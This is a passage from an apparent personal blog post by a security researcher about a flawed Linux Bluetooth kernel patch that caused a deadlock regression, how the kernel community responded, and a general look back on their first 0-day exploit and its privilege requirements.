Because I am just a noob of the kernel locking mechanism, I just make a huge mistake in this patch: the 

 here violates the kernel atomoic lock rules and it may lead to dead lock (I really didn’t know this when designing the patch T.T).

And what’s worse, the kernel community is happy to adopt this patch without much hesitation.

The disaster shows itself about a week after the patch is merged to the mainline. I started to receive email that tells me the patch is ridiculous. The very first one is Anand K. Mistry from Google Australia, he showed me the report from his computer and explained me the possibility of the dead lock.

After that, more and more developers are start to give their concern. One big reason for that is the syzkaller keeps generating the fuzzing report for this misused lock.

Also, this regression is currently 7th top crashers for syzbot

I am just feel too ashamed to bring this trouble XD. Several discussions are raised to solve this and I have to say sorry that I failed to reply with some emails timely because I had to handle the exam week in school. Below are some links you guys can follow to catch up.

The point is this race condition is not an easy fixed one (Check these links to find the intense discussion). Thanks to kernel developer Tetsuo Handa, and the maintainer Luiz, I think the proper patch will soon be settled down.

You can do your own selection before that:


I’ve learnt a lot during my first 0-day exploit and all this is just beautiful like an art.

Of course, this bug is not a very perfect one as it asks CAP_NET_ADMIN privilege and the fullchain requires the attacker to compromise one daemon first.

This is the inherent flaws for exploiting local Linux BT stack. You can to get this privilege to emulate a userspace controller or you have to use a real one. The better vulnerabilities should be like as the BleedingTooth, which requires nothing and can achieve code execution remotely.

That type of bugs will be our utilimate goals.